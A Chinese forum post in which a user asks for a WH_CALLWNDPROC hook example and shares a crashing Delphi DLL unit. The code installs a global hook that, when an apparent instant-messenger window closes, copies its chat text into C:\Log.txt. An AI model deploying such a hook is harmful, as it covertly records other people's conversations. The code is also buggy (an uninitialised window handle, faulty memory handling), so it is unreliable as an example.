谁有使用WH_CALLWNDPROC HOOK的例子
请贴上。谢谢
我写了个,一挂就死。不知为何?
unit mssllfunc;
interface
uses
Windows, Messages,SysUtils,ComCtrls;
var
hNextHookProc: HHook;
procSaveExit: Pointer;
function EnableHook: BOOL; export;
function DisableHook: BOOL; export;
procedure HookExit; far;
function CBTProc(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
function GetText(_hWnd: HWND):String;
function WriteLogFile(s_Text:String):integer;
implementation
function CBTProc(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
var
_hWnd_Win,_hWnd_Edt: HWND;
p_Cwp:^CWPSTRUCT;
Buff: array[0..4095] of Char;
s_Text:String;
begin
Result := 0;
If iCode < 0 Then
begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
Exit;
end;
p_Cwp:=Pointer(lParam);
WriteLogFile(IntToStr(p_Cwp^.message));
if p_Cwp^.message=WM_CLOSE then
begin
_hWnd_Win :=p_Cwp^.hwnd;
GetClassName(_hWnd_Win, @Buff, 128);
if CompareStr(Buff,'IMWindowClass')=0 then
begin
_hWnd_Edt := FindWindowEx(_hWnd_Win,0, 'Edit',nil);
if _hWnd_Edt<>0 then
Begin
s_Text := GetText(_hWnd_Edt);
end;
_hWnd_Edt := FindWindowEx(_hWnd_Win,0, 'RichEdit20W',nil);
if _hWnd_Edt<>0 then
Begin
s_Text := '【'+'】'+s_Text+Chr(10)+Chr(13)+ GetText(_hWnd_Edt);
end;
WriteLogFile(s_Text);
end;
end;
Result := 0;
end;
//写LOG文件
function WriteLogFile(s_Text:String):integer;
Const f_Name= 'C:\Log.txt';
Var f_Log: TextFile;
Begin
//
AssignFile(f_Log,f_Name);
If Not FileExists(f_Name) Then
Rewrite(f_Log)
else
Append(f_Log);
Writeln(f_Log,s_Text);
Flush(f_Log);
CloseFile(f_Log);
End;
function GetText(_hWnd: HWND):String;
var
dd,hh: hwnd;
i: integer;
mem: pchar;
begin
Result:='';
if _hWnd<>0 then
Begin
i := SendMessage(hh,WM_GETTEXTLENGTH,0,0);
getmem(mem,i+1);
SendMessage(hh,WM_GETTEXT,i+1,LongInt(mem));
Result:=strpas(mem);
End;
getmem(mem,0);
end;
//CWPSTRUCT
function EnableHook: BOOL; export;
begin
Result := False;
if hNextHookProc <> 0 then Exit;
hNextHookProc := SetWindowsHookEx(WH_CALLWNDPROC,
CBTProc,
HInstance,
0);
Result := hNextHookProc <> 0;
WriteLogFile('OK ,SETTED.');
end;
function DisableHook: BOOL; export;
begin
if hNextHookProc <> 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc := 0;
MessageBeep(0);
MessageBeep(0);
end;
Result := hNextHookProc = 0;
end;
procedure HookExit;
begin
if hNextHookProc <> 0 then DisableHook;
ExitProc := procSaveExit;
end;
end.